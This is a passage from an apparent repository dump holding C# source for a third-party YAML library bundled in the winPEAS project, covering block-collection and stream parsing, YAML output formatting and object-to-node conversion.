s_lBlockNode(n, c) ||\n                ( eNode() && s_lComments() );\n        }\n        private bool ns_lCompactSequence(int n) // [186] \n        {\n            YamlSequence sequence = null;\n            Position pos = CurrentPosition;\n            return\n                text[p] == '-' && !Charsets.nsChar(text[p + 1]) &&\n                Action(() => sequence = CreateSequence(pos)) && \n                c_lBlockSeqEntry(n, sequence) &&\n                Repeat(() => RewindUnless(() => \n                    sIndent(n) &&\n                    text[p] == '-' && !Charsets.nsChar(text[p + 1]) &&\n                    c_lBlockSeqEntry(n, sequence))) &&\n                SetValue(sequence);\n        }\n        #endregion\n        #region 8.2.2 Block Mappings\n        private bool lBlockMapping(int n) // [187] \n        {\n            YamlMapping mapping = null;\n            int m = 0;\n            YamlNode key = null;\n            return OneAndRepeat(() =>\n                sIndent(n + m) &&\n                ( m > 0 || sIndentCounted(n, out m) ) &&\n                Action(() => {\n                    if ( mapping == null ) {\n                        mapping = CreateMapping(CurrentPosition);\n                    }\n                }) &&\n                ns_lBlockMapEntry(n + m, ref key) &&\n                Action(() => mapping.Add(key, GetValue()))\n            ) &&\n            SetValue(mapping);\n        }\n        private bool ns_lBlockMapEntry(int n, ref YamlNode key) // [188] \n        {\n            return c_lBlockMapExplicitEntry(n, ref key) ||\n                   ns_lBlockMapImplicitEntry(n, ref key);\n        }\n        private bool c_lBlockMapExplicitEntry(int n, ref YamlNode key) // [189] \n        {\n            YamlNode _key= null;\n            return RewindUnless(() =>\n                c_lBlockMapExplicitKey(n, ref _key) &&\n                ErrorUnless(\n                    ( lBlockMapExplicitValue(n) || eNode() ),\n                    \"irregal block mapping explicit entry\"\n                )\n            ) &&\n            Assign(out key, _key);\n        }\n        private bool c_lBlockMapExplicitKey(int n, ref YamlNode key) // [190] \n        {\n            return RewindUnless(() =>\n                text[p++] == '?' &&\n                s_lBlockIndented(n, Context.BlockOut)\n            ) &&\n            Assign(out key, GetValue());\n        }\n        private bool lBlockMapExplicitValue(int n) // [191] \n        {\n            return RewindUnless(() =>\n                sIndent(n) &&\n                text[p++] == ':' &&\n                s_lBlockIndented(n, Context.BlockOut)\n            );\n        }\n        private bool ns_lBlockMapImplicitEntry(int n, ref YamlNode key) // [192] \n        {\n            YamlNode _key = null;\n            return RewindUnless(() =>\n                ( ns_sBlockMapImplicitKey() || eNode() ) &&\n                Assign(out _key, GetValue()) &&\n                c_lBlockMapImplicitValue(n)\n            ) &&\n            Assign(out key, _key);\n        }\n        private bool ns_sBlockMapImplicitKey() // [193] \n        {\n            return c_sImplicitJsonKey(Context.BlockKey) ||\n                   ns_sImplicitYamlKey(Context.BlockKey);\n        }\n        private bool c_lBlockMapImplicitValue(int n) // [194] \n        {\n            return RewindUnless(() =>\n                text[p++] == ':' &&\n                ( s_lBlockNode(n, Context.BlockOut) || ( eNode() && s_lComments() ) )\n            );\n        }\n        private bool ns_lCompactMapping(int n) // [195] \n        {\n            var mapping = CreateMapping(CurrentPosition);\n            YamlNode key = null;\n            return RewindUnless(() =>\n                ns_lBlockMapEntry(n, ref key) &&\n                Action(() => mapping.Add(key, GetValue())) &&\n                Repeat(() => RewindUnless(() => \n                    sIndent(n) && \n                    ns_lBlockMapEntry(n, ref key) &&\n                    Action(() => mapping.Add(key, GetValue()))\n                ))\n            ) &&\n            SetValue(mapping);\n        }\n        #endregion\n        #region 8.2.3 Block Nodes\n        bool s_lBlockNode(int n, Context c) // [196] \n        {\n            return\n                s_lBlockInBlock(n, c) ||\n                s_lFlowInBlock(n);\n        }\n        bool s_lFlowInBlock(int n) // [197] \n        {\n            return RewindUnless(() =>\n                sSeparate(n + 1, Context.FlowOut) &&\n                nsFlowNode(n + 1, Context.FlowOut) &&\n                s_lComments()\n                );\n        }\n        bool s_lBlockInBlock(int n, Context c) // [198] \n        {\n            Debug.Assert(stringValue.Length == 0);\n            return\n                s_lBlockScalar(n, c) ||\n                s_lBlockCollection(n, c);\n        }\n        bool s_lBlockScalar(int n, Context c) // [199] \n        {\n            return RewindUnless(() =>\n                sSeparate(n + 1, c) &&\n                Optional(RewindUnless(() => c_nsProperties(n + 1, c) && sSeparate(n + 1, c))) &&\n                ( c_lLiteral(n) || c_lFolded(n) )\n                );\n        }\n        bool s_lBlockCollection(int n, Context c) // [200]\n        {\n            return RewindUnless(() =>\n                Optional(RewindUnless(() => sSeparate(n + 1, c) && c_nsProperties(n + 1, c))) &&\n                s_lComments() &&\n                ( lBlockSequence(SeqSpaces(n, c)) || lBlockMapping(n) )\n            ) ||\n            RewindUnless(() =>\n                s_lComments() &&\n                ( lBlockSequence(SeqSpaces(n, c)) || lBlockMapping(n) )\n            );\n        }\n        private int SeqSpaces(int n, Context c) // [201]\n        {\n            switch ( c ) {\n            case Context.BlockOut:\n                return n - 1;\n            case Context.BlockIn:\n                return n;\n            default:\n                throw new NotImplementedException();\n            }\n        }\n        #endregion\n        #endregion\n        #endregion\n\n        #region Chapter 9. YAML Character Stream\n        #region 9.1. Documents\n        private bool lDocumentPrefix() // [202] \n        {\n            return Optional(Charsets.cByteOrdermark) && Repeat(lComment);\n        }\n        private bool cDirectivesEnd() // [203] \n        {\n            return Accept(\"---\");\n        }\n        private bool cDocumentEnd() // [204] \n        {\n            return Accept(\"...\");\n        }\n        bool lDocumentSuffix() // [205] \n        {\n            return RewindUnless(() => \n                cDocumentEnd() && \n                s_lComments()\n            );\n        }\n        bool cForbidden() // [206] \n        {\n            if ( !StartOfLine() || ( text.Length - p ) < 3 )\n                return false;\n            var s = text.Substring(p, 3);\n            if ( s != \"---\" && s != \"...\" )\n                return false;\n            return\n                text.Length - p == 3 + 1 ||\n                Charsets.sWhite(text[p + 3]) ||\n                Charsets.bChar(text[p + 3]);\n        }\n        bool lBareDocument() // [207] \n        {\n            var length = stringValue.Length;\n            var s = stringValue.ToString();\n            stringValue.Length = 0;\n            Debug.Assert(length == 0, \"stringValue should be empty but '\" + s + \"' was found\");\n            state.value = null;\n\n            TagPrefixes.SetupDefaultTagPrefixes();\n            return\n                s_lBlockNode(-1, Context.BlockIn) &&\n                Action(() => ParseResult.Add(GetValue()));\n        }\n        bool lExplicitDocument() // [208] \n        {\n            return RewindUnless(() =>\n                cDirectivesEnd() &&\n                ( lBareDocument() || eNode() && s_lComments() && Action(() => ParseResult.Add(GetValue())) )\n            );\n        }\n        bool lDirectiveDocument() // [209] \n        {\n            YamlDirectiveAlreadyAppeared = false;\n            return RewindUnless(() =>\n                OneAndRepeat(lDirective) && lExplicitDocument()\n            );\n        }\n        #endregion\n        #region 9.2. Streams\n        bool lAnyDocument() // [210] \n        {\n            return\n                lDirectiveDocument() ||\n                lExplicitDocument() ||\n                lBareDocument();\n        }\n        private bool lYamlStream() // [211] \n        {\n            TagPrefixes.Reset();\n            Anchors.RewindDeapth = 0;\n            state.anchor_depth = 0;\n            WarningAdded.Clear();\n            Warnings.Clear();\n            stringValue.Length = 0;\n            bool BomReduced = false;\n            if ( Repeat(lDocumentPrefix) &&\n                Optional(lAnyDocument) &&\n                Repeat(() =>\n                    TagPrefixes.Reset() &&\n                    RewindUnless(() =>\n                        OneAndRepeat(() => lDocumentSuffix() && Action(() => BomReduced = false)) &&\n                        Repeat(lDocumentPrefix) && Optional(lAnyDocument)) ||\n                    RewindUnless(() =>\n                        Repeat(() => Action(() => BomReduced |= Charsets.cByteOrdermark(text[p])) && lDocumentPrefix() ) &&\n                        Optional(lExplicitDocument() && Action(() => BomReduced = false)))\n                    ) &&\n                EndOfFile() )\n                return true;\n            if ( BomReduced ) {\n                Error(\"A BOM (\\\\ufeff) must not appear inside a document.\");\n            }else\n            if(Charsets.cIndicator(text[p])){\n                Error(\"Plain text can not start with indicator characters -?:,[]{{}}#&*!|>'\\\"%@`\");\n            }else\n            if ( text[p] == ' ' && StartOfLine() ) {\n                Error(\"Extra line was found. Maybe indentation was incorrect.\");\n            } else \n            if ( Charsets.nbChar(text[p]) ){\n                Error(\"Extra content was found. Maybe indentation was incorrect.\");\n            } else {\n                Error(\"An irregal character {0} appeared.\", \n                        (text[p]<0x100) ? \n                            string.Format(\"'\\\\x{0:x2}'\", (int)text[p]) :\n                            string.Format(\"'\\\\u{0:x4}'\", (int)text[p])\n                    );\n            }\n            return false;\n        }\n        #endregion\n        #endregion\n\n        #endregion\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/YamlPresenter.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nusing System.ComponentModel;\nusing System.Text.RegularExpressions;\nusing System.IO;\n\nnamespace System.Yaml\n{\n    /// <summary>\n    /// Converts YamlNode tree into yaml text.\n    /// </summary>\n    /// <example>\n    /// <code>\n    /// YamlNode node;\n    /// YamlPresenter.ToYaml(node);\n    /// \n    /// YamlNode node1;\n    /// YamlNode node2;\n    /// YamlNode node3;\n    /// YamlPresenter.ToYaml(node1, node2, node3);\n    /// </code>\n    /// </example>\n    internal class YamlPresenter\n    {\n        TextWriter yaml;\n        int column, raw;\n        YamlConfig config;\n\n        public string ToYaml(YamlNode node)\n        {\n            return ToYaml(node, YamlNode.DefaultConfig);\n        }\n\n        public string ToYaml(YamlNode node, YamlConfig config)\n        {\n            yaml = new StringWriter();\n            ToYaml(yaml, node, config);\n            return yaml.ToString();\n        }\n\n        public void ToYaml(Stream s, YamlNode node, YamlConfig config)\n        {\n            using ( var yaml = new StreamWriter(s) )\n                ToYaml(yaml, node, config);\n        }\n\n        public void ToYaml(TextWriter yaml, YamlNode node, YamlConfig config)\n        {\n            this.config = config;\n            this.yaml = yaml;\n            MarkMultiTimeAppearingChildNodesToBeAnchored(node);\n            yaml.NewLine = config.LineBreakForOutput;\n\n            column = 1;\n            raw = 1;\n            WriteLine(\"%YAML 1.2\");\n            WriteLine(\"---\");\n            NodeToYaml(node, \"\", Context.Normal);\n            WriteLine(\"...\");\n        }\n\n        static void MarkMultiTimeAppearingChildNodesToBeAnchored(YamlNode node)\n        {\n            var AlreadyAppeared = new Dictionary<YamlNode, bool>(\n                    TypeUtils.EqualityComparerByRef<YamlNode>.Default);\n            var anchor = \"\";\n\n            Action<YamlNode> analyze = null;\n            analyze = n => {\n                if ( !AlreadyAppeared.ContainsKey(n) ) {\n                    n.Properties.Remove(\"ToBeAnchored\");\n                    n.Properties.Remove(\"Anchor\");\n                    AlreadyAppeared[n] = true;\n                } else {\n                    if ( !n.Properties.ContainsKey(\"Anchor\") ) {\n                        anchor = NextAnchor(anchor);\n                        n.Properties[\"ToBeAnchored\"] = \"true\";\n                        n.Properties[\"Anchor\"] = anchor;\n                    }\n                    return;\n                }\n                if ( n is YamlSequence ) {\n                    var seq = (YamlSequence)n;\n                    foreach ( var child in seq )\n                        analyze(child);\n                }\n                if ( n is YamlMapping ) {\n                    var map = (YamlMapping)n;\n                    foreach ( var child in map ) {\n                        analyze(child.Key);\n                        analyze(child.Value);\n                    }\n                }\n            };\n            analyze(node);\n        }\n\n        internal static string NextAnchor(string anchor) // this is \"protected\" for test use \n        {\n            if ( anchor == \"\" ) {\n                return \"A\";\n            } else\n            if ( anchor[anchor.Length - 1] != 'Z' ) {\n                return anchor.Substring(0, anchor.Length - 1) + ((char)( anchor[anchor.Length - 1] + 1 )).ToString();\n            } else {\n                return NextAnchor(anchor.Substring(0, anchor.Length - 1)) + \"A\";\n            }\n        }\n\n        internal enum Context\n        {\n            Normal,\n            List,\n            Map,\n            NoBreak\n        }\n\n        void Write(string s)\n        {\n            int start = 0;\n            for ( int p = 0; p < s.Length; ) {\n                if ( s[p] != '\\r' && s[p] != '\\n' ) {\n                    // proceed until finding a line break\n                    p++;\n                } else {\n                    int pp = p;\n                    if ( p + 1 < s.Length && s[p] == '\\r' && s[p + 1] == '\\n' )\n                        p++;\n                    p++;\n                    if ( config.NormalizeLineBreaks ) {\n                        // output with normalized line break\n                        yaml.WriteLine(s.Substring(start, pp - start));\n                    } else {\n                        // output with native line break\n                        yaml.Write(s.Substring(start, p - start));\n                    }\n                    raw++;\n                    column = 1;\n                    start = p;\n                }\n            }\n            // rest of the string\n            s = s.Substring(start, s.Length - start);\n            column += s.Length;\n            yaml.Write(s);\n        }\n\n        void WriteLine(string s)\n        {\n            Write(s);\n            WriteLine();\n        }\n\n        void WriteLine()\n        {\n            yaml.WriteLine();\n            raw++;\n            column = 1;\n        }\n\n        private void NodeToYaml(YamlNode node, string pres, Context c)\n        {\n            if ( node.Properties.ContainsKey(\"ToBeAnchored\") ) {\n                node.Raw = raw;\n                node.Column = column;\n                Write(\"&\" + node.Properties[\"Anchor\"] + \" \");\n                node.Properties.Remove(\"ToBeAnchored\");\n                c = Context.Map;\n            } else {\n                if ( node.Properties.ContainsKey(\"Anchor\") ) {\n                    Write(\"*\" + node.Properties[\"Anchor\"]);\n                    if ( c != Context.NoBreak ) {\n                        WriteLine();\n                    }\n                    return;\n                }\n                node.Raw = raw;\n                node.Column = column;\n            }\n\n            if ( node is YamlSequence ) {\n                SequenceToYaml((YamlSequence)node, pres, c);\n            } else\n            if ( node is YamlMapping ) {\n                MappingToYaml((YamlMapping)node, pres, c);\n            } else {\n                ScalarToYaml((YamlScalar)node, pres, c);\n            }\n        }\n\n        private static string GetPropertyOrNull(YamlNode node, string name)\n        {\n            string result;\n            if ( node.Properties.TryGetValue(name, out result) )\n                return result;\n            return null;\n        }\n\n        private void ScalarToYaml(YamlScalar node, string pres, Context c)\n        {\n            var s = node.Value;\n\n            // If tag can be resolved from the content, or tag is !!str, \n            // no need to explicitly specify it.\n            var auto_tag = YamlNode.ShorthandTag(AutoTagResolver.Resolve(s));\n            var tag = TagToYaml(node, auto_tag);\n            if ( tag != \"\" && tag != \"!!str\" )\n                Write(tag + \" \");\n\n            if ( IsValidPlainText(s, c) && !( node.ShorthandTag() == \"!!str\" && auto_tag != null && !node.Properties.ContainsKey(\"plainText\")) ) {\n                // one line plain style\n                Write(s);\n                if ( c != Context.NoBreak ) \n                    WriteLine();\n            } else {\n                if ( ForbiddenChars.IsMatch(s) || OneLine.IsMatch(s) || \n                     ( config.ExplicitlyPreserveLineBreaks && \n                       GetPropertyOrNull(node, \"Don'tCareLineBreaks\") == null ) ) {\n                    // double quoted\n                    Write(DoubleQuotedString.Quote(s, pres, c));\n                    if ( c != Context.NoBreak ) \n                        WriteLine();\n                } else {\n                    // Literal style\n                    if ( s[s.Length - 1] == '\\n' || s[s.Length - 1] == '\\r' ) {\n                        WriteLine(\"|+2\");\n                    } else {\n                        WriteLine(\"|-2\");\n                        s += \"\\r\\n\"; // guard\n                    }\n                    var press = pres + \"  \";\n                    for ( int p = 0; p < s.Length; ) {\n                        var m = UntilBreak.Match(s, p); // does not fail because of the guard\n                        Write(pres + s.Substring(p, m.Length));\n                        p += m.Length;\n                    }\n                }\n            }\n        }\n\n        private bool IsValidPlainText(string s, Context c)\n        {\n            if ( s == \"\" )\n                return true;\n            switch ( c ) {\n            case Context.Normal:    // Block Key\n            case Context.Map:       // BlockValue\n            case Context.List:      // ListItem\n            case Context.NoBreak:   // Flow Key\n                return ( s == \"\" || PlainChecker.IsValidPlainText(s, config) );\n            default:\n                throw new NotImplementedException();\n            }\n        }\n        private static DoubleQuote DoubleQuotedString = new DoubleQuote();\n        private static Regex ForbiddenChars = new Regex(@\"[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F]\");\n        private static Regex OneLine = new Regex(@\"^([^\\n\\r]|\\n)*(\\r?\\n|\\r)?$\");\n        private static Regex UntilBreak = new Regex(@\"[^\\r\\n]*(\\r?\\n|\\r)\");\n\n        public class DoubleQuote: Parser<DoubleQuote.State>\n        {\n            internal struct State { }\n            Func<char, bool> nbDoubleSafeCharset = Charset(c =>\n                ( 0x100 <= c && c != '\\u2028' && c != '\\u2029' ) ||\n                c == 0x09 ||\n                ( 0x20 <= c && c < 0x100 && c != '\\\\' && c != '\"' && c != 0x85 && c != 0xA0 )\n            );\n\n            public DoubleQuote()\n            {\n                CharEscaping.Add('\\x00', @\"\\0\");\n                CharEscaping.Add('\\x07', @\"\\a\");\n                CharEscaping.Add('\\x08', @\"\\b\");\n                CharEscaping.Add('\\x0B', @\"\\v\");\n                CharEscaping.Add('\\x0C', @\"\\f\");\n                CharEscaping.Add('\\x1B', @\"\\e\");\n                CharEscaping.Add('\\x22', @\"\\\"\"\");\n                CharEscaping.Add('\\x5C', @\"\\\\\");\n                CharEscaping.Add('\\x85', @\"\\N\");\n                CharEscaping.Add('\\xA0', @\"\\_\");\n                CharEscaping.Add('\\u2028', @\"\\L\");\n                CharEscaping.Add('\\u2029', @\"\\P\");\n            }\n\n            bool nbDoubleSafeChar()\n            {\n                if ( nbDoubleSafeCharset(text[p]) ) {\n                    stringValue.Append(text[p++]);\n                    return true;\n                }\n                return false;\n            }\n\n            public string Quote(string s, string pres, Context c)\n            {\n                base.Parse(() => DoubleQuoteString(pres, c), s);\n                return \"\\\"\" + stringValue.ToString() + \"\\\"\";\n            }\n\n            bool DoubleQuoteString(string pres, Context c)\n            {\n                return Repeat(() => cDoubleQuoteChar(pres, c));\n            }\n\n            bool cDoubleQuoteChar(string pres, Context c)\n            {\n                return\n                    !EndOfString() && (\n                        nbDoubleSafeChar() ||\n                        bBreak(pres, c) ||\n                        nsEscapedChar()\n                    );\n            }\n\n            Dictionary<char, string> CharEscaping = new Dictionary<char, string>();\n            private bool nsEscapedChar()\n            {\n                var c= text[p];\n                string escaped;\n                if ( CharEscaping.TryGetValue(c, out escaped) ) {\n                    stringValue.Append(escaped);\n                } else {\n                    if ( c < 0x100 ) {\n                        stringValue.Append(string.Format(@\"\\x{0:x2}\", (int)c));\n                    } else {\n                        stringValue.Append(string.Format(@\"\\u{0:x4}\", (int)c));\n                    }\n                }\n                p++;\n                return true;\n            }\n\n            private bool bBreak(string pres, Context c)\n            {\n                if ( text[p] == '\\r' ) {\n                    stringValue.Append(@\"\\r\");\n                    p++;\n                    if ( !EndOfString() && text[p] == '\\n' ) {\n                        stringValue.Append(@\"\\n\");\n                        p++;\n                    }\n                } else\n                if ( text[p] == '\\n' ) {\n                    stringValue.Append(@\"\\n\");\n                    p++;\n                } else {\n                    return false;\n                }\n                if ( EndOfString() || c == Context.NoBreak )\n                    return true;\n\n                // fold the string with escaping line break\n                stringValue.AppendLine(@\"\\\");\n                stringValue.Append(pres);\n\n                // if the following line starts from space char, escape it.\n                if ( text[p] == ' ' )\n                    stringValue.Append(@\"\\\");\n                return true;\n            }\n\n            private bool EndOfString()\n            {\n                return p == text.Length;\n            }\n        }\n\n        private static YamlTagResolver AutoTagResolver = new YamlTagResolver();\n        private static YamlParser PlainChecker = new YamlParser();\n\n        private void SequenceToYaml(YamlSequence node, string pres, Context c)\n        {\n            if ( node.Count == 0 || GetPropertyOrNull(node, \"Compact\") != null ) {\n                FlowSequenceToYaml(node, pres, c);\n            } else {\n                BlockSequenceToYaml(node, pres, c);\n            }\n        }\n\n        private void BlockSequenceToYaml(YamlSequence node, string pres, Context c)\n        {\n            var tag = TagToYaml(node, \"!!seq\");\n            if ( tag != \"\" || c == Context.Map ) {\n                WriteLine(tag);\n                c = Context.Normal;\n            }\n            string press = pres + \"  \";\n            foreach ( var item in node ) {\n                if ( c == Context.Normal )\n                    Write(pres);\n                Write(\"- \");\n                NodeToYaml(item, press, Context.List);\n                c = Context.Normal;\n            }\n        }\n\n        private void FlowSequenceToYaml(YamlSequence node, string pres, Context c)\n        {\n            var tag = TagToYaml(node, \"!!seq\");\n            if ( column > 80 ) {\n                WriteLine();\n                Write(pres);\n            }\n            if ( tag != \"\" && tag != \"!!seq\" )\n                Write(tag + \" \");\n            Write(\"[\");\n            foreach ( var item in node ) {\n                if ( item != node.First() )\n                    Write(\", \");\n                if ( column > 100 ) {\n                    WriteLine();\n                    Write(pres);\n                }\n                NodeToYaml(item, pres, Context.NoBreak);\n            }\n            Write(\"]\");\n            if ( c != Context.NoBreak )\n                WriteLine();\n        }\n\n        private void MappingToYaml(YamlMapping node, string pres, Context c)\n        {\n            var tag = TagToYaml(node, \"!!map\");\n            if ( node.Count > 0 ) {\n                if ( tag != \"\" || c == Context.Map ) {\n                    WriteLine(tag);\n                    c = Context.Normal;\n                }\n                string press = pres + \"  \";\n                foreach ( var item in node ) {\n                    if ( c != Context.List )\n                        Write(pres);\n                    c = Context.Normal;\n                    if ( WriteImplicitKeyIfPossible(item.Key, press, Context.NoBreak) ) {\n                        Write(\": \");\n                        NodeToYaml(item.Value, press, Context.Map);\n                    } else {\n                        // explicit key\n                        Write(\"? \");\n                        NodeToYaml(item.Key, press, Context.List);\n                        Write(pres);\n                        Write(\": \");\n                        NodeToYaml(item.Value, press, Context.List);\n                    }\n                }\n            } else {\n                if ( tag != \"\" && tag != \"!!map\" )\n                    Write(tag + \" \");\n                Write(\"{}\");\n                if ( c != Context.NoBreak ) \n                    WriteLine();\n            }\n        }\n\n        bool WriteImplicitKeyIfPossible(YamlNode node, string pres, Context c)\n        {\n            if ( !( node is YamlScalar ) )\n                return false;\n            int raw_saved = raw;\n            int col_saved = column;\n            var yaml_saved = yaml;\n            var result = \"\";\n            using ( yaml = new StringWriter() ) {\n                NodeToYaml(node, pres, c);\n                result = yaml.ToString();\n            }\n            if ( result.Length < 80 && result.IndexOf('\\n') < 0 ) {\n                yaml = yaml_saved;\n                yaml.Write(result);\n                return true;\n            } else {\n                yaml = yaml_saved;\n                raw = raw_saved;\n                column = col_saved;\n                return false;\n            };\n        }\n\n        private string TagToYaml(YamlNode node, string defaultTag)\n        {\n            var tag = node.ShorthandTag();\n            if ( tag == YamlNode.ShorthandTag(defaultTag) )\n                return \"\";\n            if ( tag == YamlNode.ShorthandTag(GetPropertyOrNull(node, \"expectedTag\")) )\n                return \"\";\n            if ( config.DontUseVerbatimTag ) {\n                if ( tag.StartsWith(\"!\") ) {\n                    tag = tag.UriEscapeForTag();\n                } else {\n                    tag = \"!<\" + tag.UriEscape() + \">\";\n                }\n            } else {\n                tag = tag.UriEscape();\n                if ( !CanBeShorthand.IsMatch(tag) )\n                    tag = \"!<\" + tag + \">\";\n            }\n            return tag;\n        }\n        // has a tag handle and the body contains only ns-tag-char.\n        static Regex CanBeShorthand = new Regex(@\"^!([-0-9a-zA-Z]*!)?[-0-9a-zA-Z%#;/?:@&=+$_.^*'\\(\\)]*$\");\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/YamlRepresenter.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nusing System.Collections;\nusing System.Runtime.InteropServices;\n\nnamespace System.Yaml.Serialization\n{\n    /// <summary>\n    /// Converts C# object to YamlNode\n    /// </summary>\n    /// <example>\n    /// <code>\n    /// object obj;\n    /// YamlNode node = YamlRepresenter.ObjectToNode(obj);\n    /// </code>\n    /// </example>\n    internal class YamlRepresenter: YamlNodeManipulator\n    {\n        private static string TypeNameToYamlTag(Type type)\n        {\n            /*\n            if ( TypeUtils.GetType(type.FullName) == null ) {\n                throw new ArgumentException(\n                    \"Can not serialize (non public?) type '{0}'.\".DoFormat(type.FullName));\n            }\n            */\n            if ( type == typeof(int) )\n                return YamlNode.ExpandTag(\"!!int\");\n            if ( type == typeof(string) )\n                return YamlNode.ExpandTag(\"!!str\");\n            if ( type == typeof(Double) )\n                return YamlNode.ExpandTag(\"!!float\");\n            if ( type == typeof(bool) )\n                return YamlNode.ExpandTag(\"!!bool\");\n            if ( type == typeof(object[]) )\n                return YamlNode.ExpandTag(\"!!seq\");\n            return \"!\" + type.FullName;\n        }\n\n        public YamlNode ObjectToNode(object obj)\n        {\n            return ObjectToNode(obj, YamlNode.DefaultConfig);\n        }\n\n        YamlConfig config;\n        public YamlNode ObjectToNode(object obj, YamlConfig config)\n        {\n            this.config = config;\n            appeared.Clear();\n            if ( config.OmitTagForRootNode ) {\n                return ObjectToNode(obj, obj.GetType());\n            } else {\n                return ObjectToNode(obj, (Type)null);\n            }\n        }\n\n        YamlNode ObjectToNode(object obj, Type expect)\n        {\n            if ( obj != null && obj.GetType().IsClass && ( !(obj is string) || ((string)obj).Length >= 1000 ) )\n                if ( appeared.ContainsKey(obj) )\n                    return appeared[obj];\n\n            var node = ObjectToNodeSub(obj, expect);\n\n            if ( expect != null && expect != typeof(Object) )\n                node.Properties[\"expectedTag\"] = TypeNameToYamlTag(expect);\n\n            AppendToAppeared(obj, node);\n\n            return node;\n        }\n\n        private void AppendToAppeared(object obj, YamlNode node)\n        {\n            if ( obj != null && obj.GetType().IsClass && ( !( obj is string ) || ( (string)obj ).Length >= 1000 ) )\n                if ( !appeared.ContainsKey(obj) )\n                    appeared.Add(obj, node);\n        }\n        Dictionary<object, YamlNode> appeared = \n            new Dictionary<object, YamlNode>(TypeUtils.EqualityComparerByRef<object>.Default);\n\n        YamlNode ObjectToNodeSub(object obj, Type expect)\n        {\n            // !!null\n            if ( obj == null )\n                return str(\"!!null\", \"null\");\n\n            YamlScalar node;\n            if ( config.TagResolver.Encode(obj, out node) )\n                return node;\n\n            var type = obj.GetType();\n\n            if ( obj is IntPtr || type.IsPointer )\n                throw new ArgumentException(\"Pointer object '{0}' can not be serialized.\".DoFormat(obj.ToString()));\n\n            if ( obj is char ) {\n                // config.TypeConverter.ConvertToString(\"\\0\") does not show \"\\0\"\n                var n = str(TypeNameToYamlTag(type), obj.ToString() );\n                return n;\n            }\n\n            // bool, byte, sbyte, decimal, double, float, int ,uint, long, ulong, short, ushort, string, enum\n            if ( type.IsPrimitive || type.IsEnum || type == typeof(decimal) || type == typeof(string) ) {\n                var n = str(TypeNameToYamlTag(type), config.TypeConverter.ConvertToString(obj) );\n                return n;\n            }\n\n            // TypeConverterAttribute \n            if ( EasyTypeConverter.IsTypeConverterSpecified(type) )\n                return str(TypeNameToYamlTag(type), config.TypeConverter.ConvertToString(obj));\n\n            // array\n            if ( type.IsArray ) \n                return CreateArrayNode((Array)obj);\n\n            if ( type == typeof(Dictionary<object, object>) )\n                return DictionaryToMap(obj);\n\n            // class / struct\n            if ( type.IsClass || type.IsValueType )\n                return CreateMapping(TypeNameToYamlTag(type), obj);\n\n            throw new NotImplementedException(\n                \"Type '{0}' could not be written\".DoFormat(type.FullName)\n            );\n        }\n\n        private YamlNode CreateArrayNode(Array array)\n        {\n            Type type = array.GetType();\n            return CreateArrayNodeSub(array, 0, new long[type.GetArrayRank()]);\n        }\n        private YamlNode CreateArrayNodeSub(Array array, int i, long[] indices)\n        {\n            var type= array.GetType();\n            var element = type.GetElementType();\n            var sequence = seq();\n            if ( i == 0 ) {\n                sequence.Tag = TypeNameToYamlTag(type);\n                AppendToAppeared(array, sequence);\n            }\n            if ( element.IsPrimitive || element.IsEnum || element == typeof(decimal) )\n                if ( array.Rank == 1 || ArrayLength(array, i+1) < 20 )\n                    sequence.Properties[\"Compact\"] = \"true\";\n            for ( indices[i] = 0; indices[i] < array.GetLength(i); indices[i]++ )\n                if ( i == array.Rank - 1 ) {\n                    var n = ObjectToNode(array.GetValue(indices), type.GetElementType());\n                    sequence.Add(n);\n                } else {\n                    var s = CreateArrayNodeSub(array, i + 1, indices);\n                    sequence.Add(s);\n                }\n            return sequence;\n        }\n        static long ArrayLength(Array array, int i)\n        {\n            long n = 1;\n            for ( ; i < array.Rank; i++ )\n                n *= array.GetLength(i);\n            return n;\n        }\n\n        private YamlNode CreateBinaryArrayNode(Array array)\n        {\n            var type = array.GetType();\n            var element = type.GetElementType();\n            if ( !TypeUtils.IsPureValueType(element) )\n                throw new InvalidOperationException(\n                    \"Can not serialize {0} as binary because it contains non-value-type(s).\".DoFormat(type.FullName));\n            var elementSize = Marshal.SizeOf(element);\n            var binary = new byte[array.LongLength * elementSize];\n            int j = 0;\n            for ( int i = 0; i < array.Length; i++ ) {\n                IntPtr p = Marshal.UnsafeAddrOfPinnedArrayElement(array, i);\n                Marshal.Copy(p, binary, j, elementSize);\n                j += elementSize;\n            }\n            var dimension = \"\";\n            if ( array.Rank > 1 ) {\n                for ( int i = 0; i < array.Rank; i++ ) {\n                    if ( dimension != \"\" )\n                        dimension += \", \";\n                    dimension += array.GetLength(i);\n                }\n                dimension = \"[\" + dimension + \"]\\r\\n\";\n            }\n            var result= str(TypeNameToYamlTag(type), dimension + Base64Encode(type, binary));\n            result.Properties[\"Don'tCareLineBreaks\"] = \"true\";\n            return result;\n        }\n\n        private static string Base64Encode(Type type, byte[] binary)\n        {\n            var s = System.Convert.ToBase64String(binary);\n            var sb = new StringBuilder();\n            for ( int i = 0; i < s.Length; i += 80 ) {\n                if ( i + 80 < s.Length ) {\n                    sb.AppendLine(s.Substring(i, 80));\n                } else {\n                    sb.AppendLine(s.Substring(i));\n                }\n            }\n            return sb.ToString();\n        }\n\n        private YamlScalar MapKey(string key)\n        {\n            var node = (YamlScalar)key;\n            node.Properties[\"expectedTag\"] = YamlNode.ExpandTag(\"!!str\");\n            node.Properties[\"plainText\"] = \"true\";\n            return node;\n        }\n\n        private YamlMapping CreateMapping(string tag, object obj /*, bool by_content */ )\n        {\n            var type = obj.GetType();\n\n            /*\n            if ( type.IsClass && !by_content && type.GetConstructor(Type.EmptyTypes) == null )\n                throw new ArgumentException(\"Type {0} has no default constructor.\".DoFormat(type.FullName));\n            */\n\n            var mapping = map();\n            mapping.Tag = tag;\n            AppendToAppeared(obj, mapping);\n\n            // iterate props / fields\n            var accessor = ObjectMemberAccessor.FindFor(type);\n            foreach ( var entry in accessor ) {\n                var name = entry.Key;\n                var access = entry.Value;\n                if ( !access.ShouldSeriealize(obj) )\n                    continue;\n                if ( access.SerializeMethod == YamlSerializeMethod.Binary ) {\n                    var array = CreateBinaryArrayNode((Array)access.Get(obj));\n                    AppendToAppeared(access.Get(obj), array);\n                    